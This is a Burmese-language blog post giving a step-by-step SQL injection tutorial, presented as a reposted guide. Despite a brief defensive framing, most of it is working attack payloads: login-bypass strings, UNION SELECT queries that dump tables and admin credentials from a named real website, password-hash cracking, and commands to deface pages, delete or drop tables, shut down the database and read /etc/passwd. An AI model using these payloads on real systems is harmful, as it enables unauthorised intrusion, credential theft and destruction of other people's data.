Saturday, July 28

SQL Injection သုိ႔မဟုတ္ Hacker ေတြရဲ႕ တုိက္ကြက္ဆန္းတစ္ခု

အရင္ဘေလာ့မွာနဲ႕ MMITD မွာ တင္ဖူးပါတယ္
ခု မသိသူေတြအတြက္ ထပ္မံတင္ေပးတာပါ


--- မိတ္ဆက္---

Injection နဲ႔ပက္သက္တဲ႔အပုိင္းကုိ အေတြ႔အၾကံဳ မရင့္က်က္ေသးတဲ႔သူေတြ၊ အေတြ႔အၾကံဳရွိၿပီးတဲ႔သူေတြပါ နားလည္ႏုိင္ေအာင္ ကၽြန္ေတာ့္ရဲ႕ အၿမင္နဲ႔ နဲနဲေလာက္ Tutorial တစ္ခုအၿဖင့္ေရးသားလုိက္ပါတယ္။ SQL injectiong နဲ႔ပက္သက္တဲ႔ Tutorial ေတြကုိ Google မွာ ရွာၾကည့္လုိက္ပါက ေတာင္လုိပုံေနပါတယ္။ အားလုံးကေတာ့ အတူတူပါပဲ... SQL injector ေတြၿဖစ္ေစရန္တစ္ခုအတြက္မဟုတ္ပဲ SQL Injection နဲ႔အတူ php နဲ႔ mysql functions ေလးေတြကုိ သိကာ security ပုိင္းကုိ ထိန္းသိန္းကာကြယ္ႏုိင္ရန္အတြက္ ရည္ရြယ္၍ Computer ေ၀ါဟာရကုိ ၿမန္မာလုိ တုိက္ရုိက္ဘာသာၿပန္ရတာ နဲနဲေတာ့ နားရႈပ္သြားႏုိင္မယ္။ ဒါေပမဲ႔ အတတ္ႏုိင္ဆုံးေတာ့ နားလည္ေအာင္ ရွင္းၿပေပးလုိက္ပါတယ္။ SQL Injection ကုိေလ့လာတဲ႔အခါမွာ အေၿခခံ Web Developement ပုိင္းအေၿခခံရွိဖု႔ိေတာ့လိုပါလိမ့္မယ္.. ဒီ tutorial အတြက္ လုိအပ္တာကေတာ့ php နဲ႔ sql အေၾကာင္းသိထားရင္ နားလည္ေလာက္ပါတယ္။

---DATABASE ဆိုတာဘာလဲ?---
ရုိးရုိးရွင္းရွင္းပါပဲ... Database ဆုိတာဘာလဲဆုိရင္ Database ဆုိတာ အခ်က္အလက္ Data ေတြစုစည္းသိမ္းဆည္းထားတဲ႔ Application တစ္ခုပါပဲ... Application Programming Interface (API) ေတြကုိ တည္ေဆာက္ အသုံးၿပဳမယ္ ထိန္းသိမ္း သိမ္းဆည္းထားမယ္။ Database(DB) servers ေတြဟာ Web development လုပ္ငန္းေတြ နဲ႔လည္း ေပါင္းစည္းအသုံးၿပဳလုိ႔ရတဲ႔အတြက္ ၄င္းအထဲက data ေတြကုိ ထုတ္ယူအသုံးၿပဳ၊ ၾကည့္ရႈ႕ဖုိ႔ဆုိတာ ခက္ခဲ႔တဲ႔ကိစၥတစ္ခုေတာ့မဟုတ္ပါဘူး။ Database အထဲမွာ usernames, passwords စသည္ ေတြလုိ အေရးၾကီးတဲ႔ အခ်က္အလက္ေတြကုိလည္း သိမ္းဆည္းႏုိင္တာ ၿဖစ္တဲ႔အတြက္ Database ရဲ႕ လုံၿခံဳေရးဟာလည္း အလြန္ကုိအေရးၾကီးပါတယ္။ ထိန္းသိမ္းမႈ ညံ့ဖ်င္းတဲ႔ database တစ္နည္းအားၿဖင့္ အမွတ္တမဲ႔ၿဖစ္ေစ၊ သတိမမႈ၍ေသာ္လည္းေကာင္း၊ အေၾကာင္းေၾကာင္းအမ်ဳိးမ်ဳိးေၾကာင့္ programmer ေတြေရးသားထားတဲ႔ code ေတြရဲ႕ လြဲမွားမႈေတြ ေၾကာင့္ ဒီလုိဟာကြက္ေတြ ၿဖစ္ေပၚကာ database ထဲကုိ အၿခား တရားမ၀င္ ၀င္ေရာက္သူတုိ႔အား လမ္းဖြင့္ေပးသလုိၿဖစ္သြားတတ္ပါတယ္။ DB servers ေတြအမ်ားၾကီးရွိတဲ႔အထဲမွာ ဒါေလးေတြက အသုံးမ်ားတာေလးေတြပါ။
MySQL(Open source),
MSSQL,
MS-ACCESS,
Oracle,
Postgre SQL(open source),
SQLite စသည္ေပါ႔...

Database ရဲ႕ တည္ေဆာက္ပုံေလးကုိ ၿမင္ႏုိင္ေအာင္လုိ႔ ဇယားေလးနဲ႔ၿပထားတာပါ။

--- SQL INJECTION ဆုိသည္မွာ?---
SQL injection ဆုိတာကေတာ့ ယေန႔ေခတ္ အင္တာနက္စာမ်က္ႏွာေပၚမွာ အၿဖစ္အမ်ားဆုံး web application အမွားၿဖစ္ပါတယ္။ ၄င္း web application အမွားတစ္ခုမွေန၍ တရားမ၀င္ ၀င္ေရာက္အသုံးၿပဳသူေတြ (Hackers) က မိမိတုိ႔ရဲ႕ အေရးၾကီးတဲ႔ အခ်က္အလက္ေတြကုိ ခုိးယူသြားႏုိင္ပါတယ္။ ဒါေၾကာင့္ SQL injection ဆုိတာ web or db server တုိ႔ရဲ႕ အမွားေၾကာင့္မဟုတ္ပဲ အေတြ႔အၾကံဳမ့ဲ၊ အေရအခ်င္း ည့ံဖ်င္းတဲ႔ programming ေရးဆြဲသူေတြေၾကာင့္သာၿဖစ္ပါတယ္။ ဒီနည္းလမ္းက အေ၀းတစ္ေနရာကေန application, web server ကုိ အလြယ္ ကူဆုံးထိန္းခ်ဳပ္ႏုိင္ပါတယ္။ ဒီ SQL injection မွာ ပုံစံအမ်ဳိးမ်ဳိးေသာ SQL commands ေတြ နဲ႔ web page ကေန အမ်ဳိးမ်ဳိးေသာ data ေတြကို ထုတ္ယူႏုိင္ပါတယ္။

ဥပမာတစ္ခုအေနနဲ႔ေၿပာမယ္ဆုိရင္ ကၽြန္ေတာ္တုိ႔က Company တစ္ခုရဲ႕ Network တစ္ခုကုိ၀င္ေရာက္ေတာ့မယ္ဆုိရင္ port scanner ေတြနဲ႔ sanner ဖတ္ၿပီး အမွားေတြနဲ႕ ပြင့္ဟေနတဲ႔ port ကေန ၀င္ေရာက္သြားႏုိင္ပါတယ္။ ဒါေပမဲ႔လည္း အင္တာနက္နဲ႔ ခ်ိတ္ဆက္ထားတဲ႔ Web Server (Host Sever) တစ္ခုက port 80 ေလာက္ပဲဖြင့္မယ္၊ တစ္ၿခား security ပုိင္းေတြ ေပးထားမယ္ဆုိရင္ port scanner ဘယ္ေလာက္ေကာင္းေကာင္း အလုပ္ၿဖစ္မွာမဟုတ္ပါဘူး၊ ၀င္ေရာက္ဖုိ႔ခက္သြားပါလိမ့္မယ္( ခက္ခဲေနမယ္ )... ဒါဆုိရင္ Web Hacking ကုိ ဦးတည္ၿပီးေၿပာင္းၾကည့္ရပါလိမ့္မယ္... Web Hacking လုိ႔ေၿပာရင္ ေတာ္ေတာ္မ်ားမ်ားကေတာ့ SQL Injection ကုိပထမဦးစြာေၿပးၿမင္ၾကမွာပါပဲ... ဟုတ္တယ္ေလ.. SQL Injection ကတစ္ၿခားဘာမွမလုိဘူး Web Browser တစ္ခုပဲလုိတယ္...

---ေရွာင္ကြင္း ၀င္ေရာက္ၿခင္း---
Site ေတြမွာ username, password ေတြနဲ႔ login ၀င္ခုိင္းတယ္ဆုိတာ site အထဲမွာ ရွိတဲ႔ content ေတြကုိ မွတ္ပုံတင္ထားတဲ႔သူ (username & password ရွိထားတဲ႔သူ) ေတြကုိသာ ၾကည့္ရႈအသုံးၿပဳခြင့္ေပးထားတာပါ။ အကယ္၍ မိတ္ေဆြက username & password မရွိပဲ ရွိသကဲ႔သုိ႔ ၀င္ေရာက္အသုံးၿပဳမယ္ (user registration မလုပ္ပဲ ၀င္ေရာက္တယ္) ဆုိရင္ ဒါကုိ BYPASSING LOGINS လုပ္တယ္လုိ႔ေခၚပါတယ္။ ဒါကေတာ့ programmer ရဲ႕ login မွာစီစစ္မႈ မေသခ်ာလုိ႔ ၿဖစ္တဲ႔အတြက္ ကံေကာင္းေထာက္မစြာနဲ႔ User name နဲ႔ Password ကုိမသိပဲ login ၀င္လုိ႔ရသြားပါလိမ့္မယ္။

ဥပမာတစ္ခုအေနနဲ႔ ၾကည့္မယ္ဆုိရင္ username က admin ၿဖစ္ၿပီး password က 12345 ဆုိၾကပါစုိ႔... ဒါဆိုရင္ SQL query က
SELECT USER from database WHERE username='admin' AND password='12345' ဆုိၿပီးၿဖစ္သြားပါလိမ့္မယ္..... အကယ္၍ အေပၚ SELECT command တန္ဖုိးက မွန္တယ္ဆုိရင္ site ထဲကုိ ၀င္ခြင့္ၿပဳမွာၿဖစ္ပါတယ္။ အကယ္၍ အထက္ပါေၿပာခဲ႔သလုိ programmer က login မွာမွန္ကန္တဲ႔စီစစ္မႈမရွိရင္ Hacker ေတြက ေအာက္ပါအတုိင္း ၀င္ေရာက္သြားႏုိင္ပါတယ္။

username:a or 1=1--
password:blank

SQL query မွာေတာ့

SELECT USER from database WHERE username='a' or 1=1-- AND password=''

ဒါက comment operator ပါ အဲ႔လုိပဲ အၿခား comment operator က /* ၿဖစ္ပါတယ္။

SELECT USER from database WHERE username='a' or 1=1

1=1 က အၿမဲတန္း query ကုိ true ၿဖစ္ေစၿပီး OR ကေတာ့ query တစ္ခုက true ၿဖစ္တဲ႔အတြက္ အၿခားတစ္ခုကုိလည္း true ၿဖစ္သြားေစပါတယ္ဒါေၾကာင့္ 'a' ဆုိတဲ႔ user ဟာ DB မွာမရွိေတာင္မွ ဒီ query က true ၿဖစ္ကာ site admin ကို၀င္ေရာက္ခြင့္ေပးသြားပါလိမ့္မယ္... ဒီလုိနည္းနဲ႔ Vulnerable ၿဖစ္တဲ႔ site ေတြအတြက္ ေအာက္ပါအတုိင္း စမ္းစစ္ႏုိင္ပါေသးတယ္...

username:' or 1='1 password:' or 1='1
username:' or '1'='1' password:' or '1'='1'
username:or 1=1 password:or 1=1

--- လ်ဳိ႕၀ွက္ထားေသာ Data မ်ားကုိ ၀င္ေရာက္အသုံးၿပဳၿခင္း---
SQL injection က အခုလုိ bypassing logins တစ္ခုတည္းမဟုတ္ပဲ DB servers ကေန လ်ဳိ႕၀ွက္စြာသိမ္းဆည္းထားတဲ႔ Data ေတြကုိ ရယူႏုိင္ပါတယ္... အနည္းငယ္ရႈပ္ေထြးေနမွာၿဖစ္တဲ႔အတြက္ နဲနဲေလး အထူးဂရုၿပဳၿပီးေတာ့ ေလ့လာၾကည့္ပါ။ ေအာက္ပုိင္းမွာ လက္ေတြ႔စမ္းလုိ႔ရေအာ္ site link နဲ႔ တကြ ေဖာ္ၿပေပးထားပါတယ္။

---အားနည္းခ်က္ အမွားမ်ား ရွာေဖြစစ္ေဆးၿခင္း---
Site တစ္ခုကုိရွာလုိက္မယ္...
In PHP ==>>
www.site.com/article.php?id=5

id variable assign လုပ္ထားတဲ႔ ေနာက္နားက ' (apostrophe) ေလးတစ္ခုကုိ ထည့္လုိက္ပါမယ္..

www.site.com/article.php?id=5'
ဒီလုိလုိ စမ္းတဲ႔ေနရာမွာ
Integer Based

www.site.com/script.php?param=36'
www.site.com/script.php?param='36'
www.site.com/script.php?param=(12+24)
www.site.com/script.php?param=%
www.site.com/script.php?param=36'a

String Based

www.site.com/script.php?param=Text'--
www.site.com/script.php?param=Te'+'xt
www.site.com/script.php?param=Tex%
ဆုိၿပီးရွိပါတယ္.. အဆင္ေၿပသလုိ စမ္းသပ္ႏုိင္ပါတယ္...

အကယ္၍ ၄င္းရဲ႕ site က vulnerable မၿဖစ္ဘူးဆုိရင္ ပုံမွန္အတုိင္း page loading လုပ္သြားပါလိမ့္မယ္..
အဲ႔လုိမဟုတ္ပဲ query string filtering မရွိဘူးဆုိရင္ "MySQL Syntax Error By '5'' In Article.php on line 15." သုိမဟုတ္ Check the correct MySQL version သုိ႔မဟုတ္ MySQL Fetch error သုိ႔မဟုတ္ပါက ဘာမွမေပၚပဲ page အၿဖဴၾကီးသာေပၚေနပါလိမ့္မယ္... ဒါဆုိရင္ ဒီ site က vulnerable ၿဖစ္ေနပါတယ္ အကယ္၍ ' ၿဖင့္ မရလွ်င္ ေအာက္ပါအတုိင္း union select 1-- ဆုိတာကုိသုံးႏုိင္ပါတယ္။

www.site.com/article.php?id=5 union select 1--

In ASP ==>>
အထက္ပါနည္းအတုိင္း
http://www.site.com/index.asp?id=5
ဆုိရင္ ေနာက္က ' (apostrophe) ေလးထည့္ၿပီးစမ္းႏုိင္ပါတယ္။
http://www.site.com/index.asp?id=5'
ဒါဆုိရင္

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

ဆုိတဲ႔ error မ်ဳိးေပၚေနတတ္ၿပီး ASP, JSP, CGI, နဲ႔ PHP web pages ေတြမွာ စမ္းသပ္ႏုိင္ပါတယ္။

အကယ္၍ URL မွာ မေပၚတဲ႔ parameters မ်ဳိးဆုိရင္ ၄င္းတုိ႔ရဲ႕ login page, search page, feedback လုိေနရာမ်ဳိးေတြက ရွာႏုိင္ပါတယ္.. တစ္ခ်ဳိ႕ html page ေတြက POST command နဲ႔ ASP page ကုိ ပုိ႔ေဆာင္ေပးတဲ႔ parameters သုံးထားတတ္ပါတယ္.. ဒါဆုိရင္ေတာ့ ၄င္းတုိ႔ရဲ႕ HTML source code ထဲကုိ ၀င္ေရာက္ပါ။ ၿပီးရင္ "FORM" tag ကုိရွာလုိက္ပါ ... ဥပမာ

span class="tags">FORM action=Search/search.asp method=post>
span class="tags">input type=hidden name=A value=C>
span class="tags">/FORM>


ဒီ span class="tags">FORM>span class="tags">/FORM> ႏွစ္ခုၾကားက ၿဖစ္ႏုိင္ေၿခေတြပါ။

span class="tags">FORM action=http://duck/Search/search.asp method=post>
span class="tags">input type=hidden name=A value='a' or 1=1--">
span class="tags">/FORM>


value မွာ အေပၚကအတုိင္း BYPASSING LOGINS မွာသုံးသလုိ စမ္းသပ္ၿပီးရွာေဖြႏုိင္ပါတယ္။


---Columns အေရအတြက္ရွာေဖြၿခင္း---
‘order by’ ကုိအသုံးၿပဳၿပီး Columns မ်ားကုိ ရွာေဖြမွာၿဖစ္ပါတယ္..
URL query ကုိေအာက္ပါတုိင္း ရုိက္ထည့္လုိက္ပါမယ္... '/*' သုိ႔မဟုတ္ '--" ဆုိတာေလးသုံးလုိ႔ရပါတယ္..

www.site.com/article.php?id=5 order by 1/*
အမွားမေပၚဘူးဆုိရင္ ေနာက္တစ္ခါ 2 ဆုိၿပီးတုိးကာ ရုိက္ထည့္ပါမယ္

www.site.com/article.php?id=5 order by 2/*
ယခုအခ်ိန္အထိ အမွားမေပၚေသးဘူးဆုိရင္ ေနာက္တစ္ ထပ္ၿပီးတုိးပါမယ္.. ဒီလုိတုိးတုိးၿပီး အမွားေပၚလာတဲ႔အထိ ရွာေဖြရမွာၿဖစ္ပါတယ္...

www.site.com/article.php?id=5 order by 3/*

အခု 3 ကုိေရာက္တဲ႔အခါ အမွားေတြ႔တယ္ဆုိရင္
ဒါဆုိရင္ ကၽြန္ေတာ္တုိ႔ Columns ႏွစ္ခုရွိတယ္ဆုိတာ သိသြားပါၿပီ... ဒီလုိနည္းနဲ႔ Column ေတြကုိ တစ္ဆင့္ၿခင္းရွာေဖြရပါတယ္...

ေနာက္တစ္ခု ပုံနဲ႔ တကြ ရွာေဖြၾကည့္ရေအာင္


http://sbisa.org/circle.php?id=26 ကုိၾကည့္မယ္..

http://sbisa.org/circle.php?id=26 ရဲ႕ value ေနာက္မွာ ' ဆုိတဲ႔ (apostrophe) တစ္ခုထည့္လုိက္ပါမယ္..

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sbisaor/public_html/circle.php on line 10 ဆုိတဲ႔ error တစ္ခုေတြ႔ပါလိမ့္မယ္..

ဒါဆုိရင္ေသခ်ာတယ္.. SQL error တစ္ခုတက္ေနၿပီ... တိတိက်က်ေၿပာရရင္ DB Server က MySQL
OK, ဒါဆုိရင္ ကၽြန္ေတာ္တုိ႔ Columns အေရအတြက္ရွာမယ္...

http://sbisa.org/circle.php?id=-26 order by 1,2,3,4,5,6-- ဒီအထိအဆင့္အဆင့္ရွာတယ္... error မၿဖစ္ေသးဘူး


7 အထိေရာက္တဲ႔အခါမွာေတာ့ error ေတြ႔တယ္ဆုိရင္ ဒါဟာ 6 Columns ရွိတယ္..

ဒါဆုိရင္ေနာက္ထပ္ UNION SELECT ALL ဆုိတဲ႔ statement တစ္ခုကုိသုံးမယ္..
http://sbisa.org/circle.php?id=-26 union select all 1,2,3,4,5,6-- ဆုိၿပီးရုိက္ထည့္လုိက္မယ္..

ဒါဆုိရင္ 2,3,4 ဆုိတာၿပမယ္.. ဒီအပုိင္းေတြက data ေတြသိမ္းဆည္းထားတဲ႔ Columns ေတြၿဖစ္တယ္...

---MySQL version ရွာၿခင္း---
ဒီ Injection မွာ MySQL Version ကုိ checking လုပ္ဖုိ႔လုိပါတယ္... . Version အား Checking လုပ္ရန္ @@version သုိ႔မဟုတ္ version() functions ေတြကုိသုံးေပးရပါမယ္..
အခု @@version ကုိ data ေတြသိမ္းဆည္းထားတဲ႔ column မွာထည့္ၿပီး MySQL version ကုိစစ္မယ္..

http://sbisa.org/circle.php?id=-26 union select all 1,@@version,3,4,5,6--

သုိ႔မဟုတ္

http://sbisa.org/circle.php?id=-26 union select all 1,version(),3,4,5,6--

ကုိသုံးႏုိင္ပါတယ္.. တခါတစ္ေလမွာ အထက္ပါနည္းအတုိင္းက error ေတြၿဖစ္တတ္တဲ႔အတြက္ unhex(hex()) ကုိသုံးေပးရပါမယ္..

http://sbisa.org/circle.php?id=-26 union select all 1,unhex(hex(@@version)),3,4,5,6--

ဒါဆုိရင္ Server မွာ အသုံးၿပဳေနတဲ႔ MySQL ရဲ႕ version ကုိေဖာ္ၿပေပးသြားပါလိမ့္မယ္...
အကယ္၍ user တုိ႔ ၊ database တုိ႔ကုိ check ခ်င္တယ္ဆုိရင္ ေအာက္ပါတုိင္း checking လုပ္ႏုိင္ပါတယ္..

www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*
www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*

ဥပမာ :- http://sbisa.org/circle.php?id=-26 union select all 1,version(),database(),user(),5,6--

--MySQL 5 ႏွင့္အထက္ injection---
အခုကၽြန္ေတာ္တုိ႔ ရတာ MySQL version 5.0.90 ၿဖစ္ပါတယ္... MySQL version 5 မွာ information_schema ဆုိတဲ႔ အသုံး၀င္တဲ႔ funtion တစ္ခုပါ၀င္ၿပီး ၄င္းက လက္ရွိ DB server ရဲ႕ tables နဲ႔ columns ေတြကုိ ထိန္းသိမ္းထားတာၿဖစ္ပါတယ္...
Tables ေတြကုိရယူရန္ table_name from information_schema.tables ဆုိတာကုိသုံးသလုိ
Columns ေတြကုိရယူရန္ column_name from information_schema.columns ဆုိတာကုိသုံးရပါမယ္..
ေနာက္တစ္ခုကေတာ့ ဒီ site အေပၚမွာ ၿမင္ရေအာင္လုိ႔ group_concat(table_name) ကုိ Tables ေတြအတြက္နဲ႔
group_concat(column_name) ကုိ Columns ေတြအတြက္သုံးေပးရပါတယ္...

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--

ေစာေစာက ကၽြန္ေတာ္တုိ႔ MySQL version ကုိ @@version အစား unhex(hex()) နဲ႔သုံးခဲ႔ရတယ္ဆုိရင္ အခု Table နဲ႔ Column ကုိရွာတဲ႔အခါမွာလည္း အဲ႔လုိပဲ သုံးေပးရပါတယ္။

http://sbisa.org/circle.php?id=-26 union select all 1,unhex(hex()),3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--

ေနာက္ထက္တစ္ခါ ကၽြန္ေတာ္တုိ႔ Columns ေတြကုိၾကည့္မယ္ဆုိရင္

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database()--

ဒါဆုိရင္ DB ထဲက table ေတြကုိ ေဖာ္ၿပေပးပါၿပီ... အခု ကၽြန္ေတာ္တု႔ိဒီ tables ေလးေတြကုိ စနစ္တက် မွတ္သားထားပါမယ္... ေနာက္တစ္ဆင့္တက္ကာ ကၽြန္ေတာ္တုိ႔လုိခ်င္တဲ႔ user name နဲ႔ password ေတြ သိမ္းထားတဲ႔ table ကုိၾကည့္ပါမယ္...
group_concat ကုိပဲ ဆက္လက္သုံးပါမယ္.. ဒါေပမဲ႔ ကၽြန္ေတာ္တုိ႔ လုိခ်င္တဲ႔ username, password ေတြသိမ္းထားေလာက္တဲ႔ columns ေတြထဲက စစ္ထုတ္ယူမွာပါ။ ဒီေနရာမွာ ကၽြန္ေတာ္တုိ႔ မွန္းထားတဲ႔ table အမည္ကုိ from information_schema.tables where table_schema=database-- ေနရာမွာ ထည့္သြင္းမွာၿဖစ္ပါတယ္..
0x3a ဆုိတာကေတာ့ ":" ရဲ႕ hex code ပါ။

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(username,0x3a,password),5,6 from admin--

ဒါဆုိရင္ေတာ့ မိမိတုိ႔လုိခ်င္တဲ႔ username နဲ႔ password ကုိရသြားပါၿပီ... ရရွိထားတဲ႔ password ဟာ plaintext ၿဖစ္တယ္ဆုိရင္ေတာ့ ထပ္ၿပီးေခါင္းရႈပ္စရာမလုိေတာ့ဘူးေပါ႔
တစ္ခ်ဳိ႕ကေတာ့ password hashed လုပ္ထားတဲ႔ အတြက္ ၄င္းတုိ႔အား hash cracker ေတြနဲ႔ ေၿဖထုတ္ေပးရပါလိမ့္မယ္..

ဥပမာ admin:3a39ec8cd0c399cc247936ad5e0b6927

John The Ripper
www.openwalls.org

Cain & Able
www.oxid.it

hash လုပ္ထားတဲ႔ password ေတြသာဆုိရင္ေတာ့ အနည္းငယ္ခက္သြားပါလိမ့္မယ္... အထက္ပါ hash ကုိ crack လုပ္လုိက္ရင္ admin:PlanetCreator ဆုိၿပီးရပါမယ္..
ကဲ ဒါဆုိရင္ေတာ့ admin နဲ႔ password ကုိရၿပီဆုိရင္ ကုိယ္လုပ္ခ်င္သလုိလုပ္ေပေတာ့..

---MySQL version 4 injection---
MySQL version က 4 ၿဖစ္မယ္ဆုိရင္ version 5 လုိ information_schema.tables and information_schema.columns ကုိ support မလုပ္တဲ႔အတြက္ table name နဲ႔ column name ေတြကုိ guess လုပ္ရပါတယ္... ေနာက္တစ္ခုက error message အေပၚမွာအေၿခခံၿပီးခန္႔မွန္းရတာပါ။ The error reports pnc_article in the error ဆုိရင္ pnc ဆုိတဲ႔ prefix ကုိသုံးထားတဲ႔အတြက္ table name က pnc ဆုိတာ ခန္႔မွန္းလုိ႔ရႏုိင္ပါတယ္။


ဥပမာ ကၽြန္ေတာ္က table name ကုိ user ဆုိၿပီး ခန္႔မွန္းလုိက္မယ္.. ဒါဆုိရင္ ေအာက္ပါအတုိင္းရုိက္ထည့္ေပးၾကည့္မယ္ဆုိပါစုိ႔

www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*

အထက္ပါအတုိင္းရုိက္ထည့္လုိက္လုိ႔ error ၿဖစ္ေနတယ္ဆုိရင္ ဒါဟာ table မရွိလုိပဲ... ေနာက္တစ္ခါထပ္ၿပီး guess လုိက္ပါ... table name ကုိ tbluser ဆုိၿပီးထားလုိက္ပါမယ္..

www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*

ဒီလုိနည္းနဲ႔ table name ေတြ column ေတြအား ခန္႔မွန္းၿပီးထည့္သြားရပါလိမ့္မယ္...

www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
ေနာက္ဆုံး username နဲ႔ password ကုိ ရတဲ႔အထိေပါ႔...
Table name အခ်ိဳ႕ပါ : user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc.

ဒါဟာ Injection ရဲ႕ လ်ဳိ႕၀ွက္ထားတဲ႔ Data မ်ားကုိ ရယူတဲ႔အပိုင္းၿဖစ္ပါတယ္... Admin ရဲ႕ username & password ရၿပီဆုိရင္ Admin Login Page မွာရုိက္ထည့္ရပါမယ္... Joomla ဆုိရင္ /administrator နဲ႔ Wordpress ဆုိရင္ /wp-admin ၿဖစ္ပါတယ္.. အခ်ဳိ႕ site ေတြက admin panel ကုိရွာရခက္ ေနပါလိမ့္မယ္.. ဒါဆုိရင္ admin panel finder ေလးေတြကုိသုံးၿပီးရွာေဖြရပါလိမ့္မယ္...


Admin Panel Finder http://www.planetcreator.net/planetcreator/adminpanelfinder/ နဲ႔ရွာႏုိင္ပါတယ္။

---Site အားၿပင္ဆင္ၿခင္း ---
အခ်ဳိ႕ေသာ Site ေတြက admin ရဲ႕ password ကုိရေပမဲ႔ admin panel ကုိရဖုိ႔ခက္ခဲၿခင္း၊ ရွာမေတြ႔ၿခင္းေတြနဲ႔ ၾကံဳရတတ္ပါတယ္... ဒီလုိေနရာမွာ SQL commands ေတြကုိသုံးၿပီး အထဲက site ရဲ႕ contents ေတြကုိၿပင္ဆင္ေၿပးသြားရမွာၿဖစ္ပါတယ္...

ဒါေလးေတြက အေရးပါတဲ႔ command ေလးေတြပါ
UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.

UPDATE :-
www.site.com/article.php?id=5
ဆုိၾကပါစုိ႔ကၽြန္ေတာ္တုိ႔ရဲ႕ query က ေအာက္ပါအတုိင္းၿဖစ္မယ္ဆုိရင္
SELECT title,data,author FROM article WHERE id=5

(table name နဲ႔ column ေတြက အထက္ပါအတုိင္းရွာေဖြက ထည့္ေပးရတာၿဖစ္ပါတယ္)
ေအာက္ပါအတုိင္း site ကုိၿပင္ေပးသြားပါမယ္...

www.site.com/article.php?id=5 UPDATE article SET title='Hacked By SomeOn3'/*

ခက္ဆန္းဆန္းေလး ထက္ၿပီး အရစ္တက္လုိက္မယ္ဆုိရင္

www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY SomeOn3',data='Welcome to My Planet',author='SomeOn3'/*

သတ္မွတ္ထားတဲ႔ page ေၿပာင္းလဲၿပီး update လုပ္ခ်င္တယ္ဆုိရင္ေတာ့ ေအာက္ပါအတုိင္း ရုိက္ထည့္ေပးရပါတယ္..

www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*

DELETE:- DB Server ထဲကေန အၿမဲတမ္းဖ်က္ပစ္ေတာ့မယ္ဆုိရင္ DELETE command ကုိသုံးသြားပါမယ္..

www.site.com/article.php?id=5 DELETE title,data,author FROM article/*

သတ္မွတ္ထားတဲ႔ page ကုိ delete လုပ္ခ်င္တယ္ဆုိရင္ ေအာက္ပါ table name ရဲ႕ ေနာက္ထဲမွ WHERE နဲ႔ page id ကုိထည့္သြင္းသြားရပါမယ္...

www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*

ဒီတစ္ခုကေတာ့ DROP TABLE ပါ... Table အလုိက္ ဖ်က္ခ်င္တယ္ ဆုိရင္ေတာ့ DROP Table နဲ႔ table name ကုိဆုိၿပီးသုံးပါမယ္...

www.site.com/article.php?id=5 DROP TABLE article/*

ဒီအတုိင္းဖ်က္ရင္ table ေတြေကာ အထဲမွာပါတဲ႔ contents ေတြေကာ အားလုံး ပ်က္သြားပါလိမ့္မယ္...

SHUTTING DOWN MySQL SERVER:

www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;

LOADFILE:
Server အထဲက .htaccess, .htpasswd ေတြနဲ႔ password files ေတြၿဖစ္တဲ႔ etc/passwd စသည့္ ဖုိင္ေတြကုိ ယူခ်င္တယ္ဆုိရင္ေတာ့ LOADFILE ကုိသုံးရပါတယ္... ဒါကအသုံးေတာ့နည္းပါတယ္....

www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*

အကယ္၍ hex ေတြနဲ႔ဆုိရင္ေတာ့ ေအာက္ပါတုိင္း သုံးပါမယ္..

www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)

ဒါကုိ Hex based SQL Injection လုိ႔လည္းေခၚႏုိင္ပါတယ္..

* SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
ဒါဟာ server ရဲ႕ c:\boot.ini ကုိ ဆြဲယူေပးပါလိမ့္မယ္..


---MySQL ROOT---
MySQL version 5 နဲ႔အထက္မွာ mysql.user ဆုိတဲ႔ table တစ္ခုဟာ MySQL servers ေတြမွာရွိပါတယ္... အထဲမွာ hash လုပ္ထားတဲ႔ Password နဲ႔ username ေတြပါ၀င္ပါတယ္... ၄င္းအထဲက

hash ဟာ mysqlsha1 ၿဖစ္တဲ႔အတြက္ John The Ripper နဲ႔ crack လုပ္ဖုိ႔ခက္ပါမယ္..

www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*

ဒီအတြက္ InsidePro Password Recovery Software ကုိသုံးလုိ႔ရပါတယ္..
http://www.insidepro.com


---အသုံး၀င္တဲ႔ MySQL commands အခ်ိဳ႕ပါ..---

ABORT — abort the current transaction
ALTER DATABASE — change a database
ALTER GROUP — add users to a group or remove users from a group
ALTER TABLE — change the definition of a table
ALTER TRIGGER — change the definition of a trigger
ALTER USER — change a database user account
ANALYZE — collect statistics about a database
BEGIN — start a transaction block
CHECKPOINT — force a transaction log checkpoint
CLOSE — close a cursor
CLUSTER — cluster a table according to an index
COMMENT — define or change the comment of an object
COMMIT — commit the current transaction
COPY — copy data between files and tables
CREATE AGGREGATE — define a new aggregate function
CREATE CAST — define a user-defined cast
